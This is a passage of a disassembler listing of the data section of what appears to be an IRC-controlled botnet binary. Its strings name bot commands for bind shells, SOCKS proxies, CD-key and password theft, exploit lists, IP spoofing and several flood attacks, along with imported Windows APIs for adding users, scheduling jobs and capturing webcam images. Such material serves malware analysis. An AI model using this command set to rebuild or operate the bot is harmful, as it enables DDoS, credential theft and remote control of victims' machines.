aFailedToSta_27	db '- Failed to start scan, port is invalid.',0
		align 4
unk_432BB4	db  2Dh	; -		; DATA XREF: .nsp0:00403A91o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_432BF0	db  2Dh	; -		; DATA XREF: .nsp0:00403A20o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: .nsp0:004039F5o
					; .nsp0:00407651o
		align 4
aRandom		db 'Random',0           ; DATA XREF: .nsp0:004039EEo
					; .nsp0:0040764Ao
		align 10h
unk_432C70	db  2Dh	; -		; DATA XREF: .nsp0:0040383Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_432CB0	db  2Dh	; -		; DATA XREF: .nsp0:004037DDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start search thread, error: <%d>.',0
unk_432CEC	db  2Dh	; -		; DATA XREF: .nsp0:0040374Bo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: .nsp0:0040371Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: .nsp0:0040370Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: .nsp0:004036F9o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: .nsp0:004036E2o
		align 4
aVall		db 'vall',0             ; DATA XREF: .nsp0:004036CDo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: .nsp0:004036B8o
dword_432D64	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: .nsp0:00403668o
		dd 746F6220h, 2Eh
aCrassh		db 'crassh',0           ; DATA XREF: .nsp0:00403652o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: .nsp0:0040363Do
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: .nsp0:00403628o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: .nsp0:004035FEo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: .nsp0:004035E9o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: .nsp0:004035D4o
		align 10h
aCip		db 'cip',0              ; DATA XREF: .nsp0:004035BFo
aCurrentip	db 'currentip',0        ; DATA XREF: .nsp0:004035AAo
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: .nsp0:00403595o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: .nsp0:00403580o
		align 4
aFarp		db 'farp',0             ; DATA XREF: .nsp0:0040356Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: .nsp0:00403556o
		align 4
aGc		db 'gc',0               ; DATA XREF: .nsp0:00403541o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: .nsp0:0040352Co
unk_432E04	db  2Dh	; -		; DATA XREF: .nsp0:004034EEo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: .nsp0:004034D3o
					; .nsp0:00405794o ...
aSpoof		db 'spoof',0            ; DATA XREF: .nsp0:004034BCo
		align 4
unk_432E38	db  2Dh	; -		; DATA XREF: .nsp0:0040349Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: .nsp0:00403477o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: .nsp0:loc_40346Ao
dword_432E6C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: .nsp0:0040344Ao
dword_432E80	dd 6F6877h	dword_432E84	dd 234032Dh, 2646D63h, 2D03hdword_432E90	dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop	db 'cmdstop',0          ; DATA XREF: .nsp0:00403404o
aOcmd		db 'ocmd',0             ; DATA XREF: .nsp0:004033EFo
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: .nsp0:004033DAo
aDll		db 'dll',0              ; DATA XREF: .nsp0:004033C5o
aTestdlls	db 'testdlls',0         ; DATA XREF: .nsp0:004033B0o
		align 4
aDrv		db 'drv',0              ; DATA XREF: .nsp0:0040339Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: .nsp0:00403386o
		align 4
aUp		db 'up',0               ; DATA XREF: .nsp0:00403371o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: .nsp0:0040335Co
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: .nsp0:00403332o
		align 10h
aPs		db 'ps',0               ; DATA XREF: .nsp0:0040331Do
		align 4
aProcs		db 'procs',0            ; DATA XREF: .nsp0:00403308o
		align 4
aR0i0m		db 'r0i0m',0            ; DATA XREF: .nsp0:004032F3o
		align 4
aRemov		db 'remov`]',0          ; DATA XREF: .nsp0:004032DEo
aSi		db 'si',0               ; DATA XREF: .nsp0:004032C9o
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: .nsp0:004032B4o
aNi		db 'ni',0               ; DATA XREF: .nsp0:0040329Fo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: .nsp0:0040328Ao
aClg		db 'clg',0              ; DATA XREF: .nsp0:00403275o
aClearlog	db 'clearlog',0         ; DATA XREF: .nsp0:00403260o
		align 4
aL0g		db 'l0g',0              ; DATA XREF: .nsp0:0040324Bo
aLo0g		db 'lo0g',0             ; DATA XREF: .nsp0:00403236o
		align 10h
aAl		db 'al',0               ; DATA XREF: .nsp0:00403221o
		align 4
aThreads	db 'threads',0          ; DATA XREF: .nsp0:004031E2o
unk_432F4C	db  2Dh	; -		; DATA XREF: .nsp0:004031AEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_432F74	db  2Dh	; -		; DATA XREF: .nsp0:004031A7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: .nsp0:00403190o
		align 4
aId		db 'id',0               ; DATA XREF: .nsp0:00403166o
		align 10h
aStatus		db 'status',0           ; DATA XREF: .nsp0:0040313Co
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: .nsp0:00403112o
		align 10h
aDc		db 'dc',0               ; DATA XREF: .nsp0:004030FDo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: .nsp0:004030E8o
		align 10h
aR:					; DATA XREF: .nsp0:004030D3o
					; .nsp0:0040588Do ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: .nsp0:004030BEo
		align 10h
aExplist	db 'explist',0          ; DATA XREF: .nsp0:004030A9o
aExploitlist	db 'exploitlist',0      ; DATA XREF: .nsp0:00403094o
aCbstats	db 'cbstats',0          ; DATA XREF: .nsp0:0040307Fo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: .nsp0:0040306Ao
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: .nsp0:00403055o
aTransferstats	db 'transferstats',0    ; DATA XREF: .nsp0:00403040o
		align 4
aStats		db 'stats',0            ; DATA XREF: .nsp0:0040302Bo
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: .nsp0:00403016o
		align 4
dword_43302C	dd 234032Dh, 6E616373h,	2D0302haScan_0		db 'Scan',0             ; DATA XREF: .nsp0:00403006o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: .nsp0:00402FEDo
		align 4
dword_43304C	dd 234032Dh, 75636573h,	3026572h, 2DhaSecure_0	db 'Secure',0           ; DATA XREF: .nsp0:00402FDDo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: .nsp0:00402FC4o
		align 10h
dword_433070	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaClone		db 'Clone',0            ; DATA XREF: .nsp0:00402FB4o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: .nsp0:00402F9Bo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: .nsp0:00402F86o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: .nsp0:00402F71o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: .nsp0:00402F5Co
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: .nsp0:00402F47o
		align 10h
dword_4330C0	dd 234032Dh, 70746674h,	2D030264h, 0aTftpstop	db 'tftpstop',0         ; DATA XREF: .nsp0:00402F1Eo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: .nsp0:00402EF5o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: .nsp0:00402ECCo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: .nsp0:00402EA3o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: .nsp0:00402E7Ao
unk_433108	db  2Dh	; -		; DATA XREF: .nsp0:00402E60o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_43313C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh					; .nsp0:00402EC1o
dword_43314C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh					; .nsp0:00402EBCo
dword_43315C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h					; .nsp0:00402E98o
dword_43316C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h					; .nsp0:00402E93o
dword_43317C	dd 234032Dh, 676E6970h,	2D0302h					; .nsp0:00402F13o
dword_433188	dd 676E6950h, 6F6C6620h, 646Fh					; .nsp0:00402F0Eo
dword_433194	dd 234032Dh, 2706475h, 2D03h					; .nsp0:00402EEAo
dword_4331A0	dd 20504455h, 6F6F6C66h, 64h					; .nsp0:00402EE5o
aPacketstop	db 'packetstop',0       ; DATA XREF: .nsp0:00402D24o
		align 4
dword_4331B8	dd 234032Dh, 6B6E6F77h,	2D0302h					; .nsp0:00402DE6o
dword_4331C4	dd 6B6E6F57h, 6F6C6620h, 646Fh					; .nsp0:00402DE1o
aWonkstop	db 'wonkstop',0         ; DATA XREF: .nsp0:00402CFBo
		align 4
dword_4331DC	dd 234032Dh, 67726174h,	3023361h, 2Dh					; .nsp0:00402DC8o
dword_4331EC	dd 67726154h, 66203361h, 646F6F6Ch, 0					; .nsp0:00402DC3o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: .nsp0:00402CD2o
		align 4
dword_433208	dd 234032Dh, 73796B73h,	3026E79h, 2Dh					; .nsp0:00402E46o
dword_433218	dd 53796B53h, 66206E79h, 646F6F6Ch, 0					; .nsp0:00402E41o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: .nsp0:00402CA9o
		align 4
dword_433234	dd 234032Dh, 26E7973h, 2D03h					; .nsp0:00402D68o
dword_433240	dd 206E7953h, 6F6F6C66h, 64h					; .nsp0:00402D63o
aSy1stop	db 'sy1stop',0          ; DATA XREF: .nsp0:00402C80o
dword_433254	dd 234032Dh, 736F6464h,	2D0302h					; .nsp0:00402D4Ao
dword_433260	dd 536F4444h, 6F6C6620h, 646Fh					; .nsp0:00402D45o
dword_43326C	dd 736F6464h, 6F74732Eh, 70hdword_433278	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_433288	dd 20504354h, 69646572h, 74636572h, 0aRedirectstop	db 'redirectstop',0     ; DATA XREF: .nsp0:00402C2Eo
		align 4
dword_4332A8	dd 234032Dh, 2676F6Ch, 2D03hdword_4332B4	dd 20676F4Ch, 7473696Ch, 0aLogstop	db 'logstop',0          ; DATA XREF: .nsp0:00402C05o
dword_4332C8	dd 234032Dh, 70747468h,	2D030264h, 0aHttpstop	db 'httpstop',0         ; DATA XREF: .nsp0:00402BDCo
		align 4
dword_4332E4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03haRloginstop	db 'rloginstop',0       ; DATA XREF: .nsp0:00402BB3o
		align 10h
dword_433300	dd 234032Dh, 6B636F73h,	3023473h, 2DhaSocks4stop	db 'socks4stop',0       ; DATA XREF: .nsp0:00402B8Do
		align 4
aS4		db 's4',0               ; DATA XREF: .nsp0:00402B78o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: .nsp0:00402B63o
		align 4
dword_433328	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0aServer_0	db 'Server',0           ; DATA XREF: .nsp0:00402B3Co
					; .nsp0:00402BA6o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: .nsp0:00402B23o
		align 4
aBd		db 'bd',0               ; DATA XREF: .nsp0:00402B0Eo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: .nsp0:00402AF9o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: .nsp0:00402AE4o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: .nsp0:00402ACFo
		align 4
aSec		db 'sec',0              ; DATA XREF: .nsp0:00402ABAo
					; .nsp0:00404860o
aSecure		db 'secure',0           ; DATA XREF: .nsp0:00402AA5o
					; .nsp0:0040484Fo
		align 4
aSt		db 'st',0               ; DATA XREF: .nsp0:00402A90o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: .nsp0:00402A7Bo
		align 4
aDed		db 'ded',0              ; DATA XREF: .nsp0:00402A66o
aDedication	db 'dedication',0       ; DATA XREF: .nsp0:00402A51o
		align 4
aVer		db 'ver',0              ; DATA XREF: .nsp0:00402A3Co
aVersion	db 'version',0          ; DATA XREF: .nsp0:00402A27o
aLo		db 'lo',0               ; DATA XREF: .nsp0:00402A12o
		align 4
aDie		db 'die',0              ; DATA XREF: .nsp0:004029D3o
aRn		db 'rn',0               ; DATA XREF: .nsp0:004029BEo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: .nsp0:004029A6o
a63		db '63',0               ; DATA XREF: .nsp0:00402873o
		align 4
asc_4333C8:				; DATA XREF: .nsp0:0040284Bo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: .nsp0:0040280Eo
		align 4
aServer_2	db '$server',0          ; DATA XREF: .nsp0:00402803o
aRndnick_0	db '$rndnick',0         ; DATA XREF: .nsp0:004027F2o
		align 4
aChan		db '$chan',0            ; DATA XREF: .nsp0:004027D6o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: .nsp0:004027C5o
		align 4
aMe		db '$me',0              ; DATA XREF: .nsp0:004027B3o
aD_0		db '$%d',0              ; DATA XREF: .nsp0:00402745o
aD_1		db '$%d-',0             ; DATA XREF: .nsp0:00402681o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: .nsp0:004025A9o
		align 4
unk_43340C	db  2Dh	; -		; DATA XREF: .nsp0:0040256Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_433440	db  2Dh	; -		; DATA XREF: .nsp0:0040255Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_433470	db  2Dh	; -		; DATA XREF: .nsp0:0040254Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_30	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_4334A8	db  2Dh	; -		; DATA XREF: .nsp0:004024DDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: .nsp0:00402449o
		align 10h
unk_4334D0	db  2Dh	; -		; DATA XREF: .nsp0:0040242Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
dword_433514	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: .nsp0:00402411o
		dd 0A0Dh
dword_43352C	dd 4E495001h, 47hdword_433534	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: .nsp0:004023D2o
		dd 0D017325h, 0Ah
dword_433550	dd 52455601h, 4E4F4953h, 1unk_43355C	db  2Dh	; -		; DATA XREF: .nsp0:00402287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: .nsp0:0040220Eo
					; .nsp0:00402486o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: .nsp0:004021E7o
		align 4
dword_433598	dd 43434401h, 0	dword_4335A0	dd 323333h						; .nsp0:004025CBo ...
aNotice		db 'NOTICE',0           ; DATA XREF: .nsp0:00402131o
					; sub_4099D2+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: .nsp0:00402125o
					; sub_4099D2+16o
unk_4335B4	db  2Dh	; -		; DATA XREF: .nsp0:004020D1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_4335D8	db  2Dh	; -		; DATA XREF: .nsp0:004020B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: .nsp0:0040207Fo
aQuit		db 'QUIT',0             ; DATA XREF: .nsp0:0040203Do
					; sub_40F168+5C3o
		align 4
aPart		db 'PART',0             ; DATA XREF: .nsp0:0040202Co
					; .nsp0:004020F1o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: .nsp0:00402004o
		align 4
aNick		db 'NICK',0             ; DATA XREF: .nsp0:00401EF7o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401EB8o
					; .nsp0:00402115o
unk_43362C	db  2Dh	; -		; DATA XREF: .nsp0:00401E9Fo
					; .nsp0:004049B3o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: .nsp0:00401E38o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:00401E02o
					; .nsp0:004096CBo ...
		align 10h
a433		db '433',0              ; DATA XREF: .nsp0:00401DDAo
					; sub_417DCC:loc_417E43o
a302		db '302',0              ; DATA XREF: .nsp0:00401D9Fo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401D5Co
					; .nsp0:00408B09o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:00401D3Bo
		align 4
aPing		db 'PING',0             ; DATA XREF: .nsp0:00401D2Ao
					; sub_417DCC+50o
		align 4
asc_43368C:				; DATA XREF: .nsp0:00401C1Co
					; .nsp0:0040294Bo ...
		unicode	0, < >,0
asc_433690	db ' :',0               ; DATA XREF: .nsp0:00401BFAo
					; .nsp0:loc_402623o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4099D2+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A6D+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A6D+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409A6D:loc_40A6D7o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409A6D+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409A6D+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409A6D+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409A6D+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409A6D+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409A6D+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409A6D:loc_40A639o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409A6D+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409A6D+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409A6D:loc_40A5EFo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A6D+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A6D+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A6D+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A6D+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409A6D:loc_40A57Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A6D+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409A6D+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409A6D:loc_40A531o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A6D+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A6D+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409A6D:loc_40A4E7o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409A6D+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A6D+9ECo
					; sub_418E3D+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409A6D+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409A6D+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409A6D+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409A6D+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409A6D+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409A6D+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A6D+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409A6D+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409A6D+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409A6D+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409A6D:loc_40A3CBo
					; sub_418E3D+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409A6D+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409A6D+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409A6D+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409A6D:loc_40A36Co
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A6D+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409A6D+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409A6D+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A6D+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A6D+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409A6D+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409A6D+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409A6D+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A6D+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A6D+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A6D+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409A6D:loc_40A24Co
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409A6D+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409A6D+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409A6D+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409A6D+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409A6D+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409A6D+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409A6D+658o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409A6D+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409A6D+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409A6D+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409A6D+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409A6D+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409A6D+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409A6D+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409A6D+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409A6D+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409A6D+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409A6D+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409A6D+5A2o
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409A6D+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409A6D+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409A6D+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409A6D+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409A6D+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409A6D+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409A6D+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409A6D+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409A6D+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409A6D+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409A6D+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409A6D+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409A6D+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409A6D+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409A6D+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409A6D+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A6D+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409A6D+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409A6D+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409A6D:loc_409E9Ao
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409A6D:loc_409E72o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A6D+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A6D+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409A6D+393o
		align 10h
